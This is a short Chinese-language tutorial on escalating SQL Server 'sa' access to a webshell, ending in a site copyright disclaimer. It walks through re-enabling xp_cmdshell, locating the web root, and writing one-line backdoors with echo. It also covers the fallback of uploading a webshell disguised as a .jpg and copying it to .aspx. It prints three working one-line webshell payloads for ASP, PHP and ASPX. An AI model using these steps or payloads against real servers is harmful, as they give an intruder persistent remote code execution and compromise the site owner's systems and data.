sa權限獲取webshell思路
1.通過SQL查詢分析器通過sa權限首先恢復xp_cmdshell存儲過程。
2.通過SQL Tools2.0連接數據庫，執行命令，查看網站路徑以及磁盤文件，獲取網站的真實路徑。
3.echo生成一句話后門。
4.直接獲取webshell權限。
5.如果echo生成的一句話后門無法執行，可以通過查看對應網站的數據庫，獲取后臺登陸密碼，通過后臺上傳webshell的jpg。然后通過copy命令將jgp文件復制為aspx文件，從而獲取webshell。
技巧：
1.尋找可寫的文件夾，例如c:/windows/temp，以及網站的真實路勁。
2.通過echo命令生成一句話后門
echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp
echo ^<?php @eval($_POST[cmd]);?^>^>cmd.php
echo ^<%@ PageLanguage="Jscript%"^>^<^%eval(Request.Item["pass"],"unsafe");%^>^>c:\inetpub\wwwroot\cmd.aspx
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
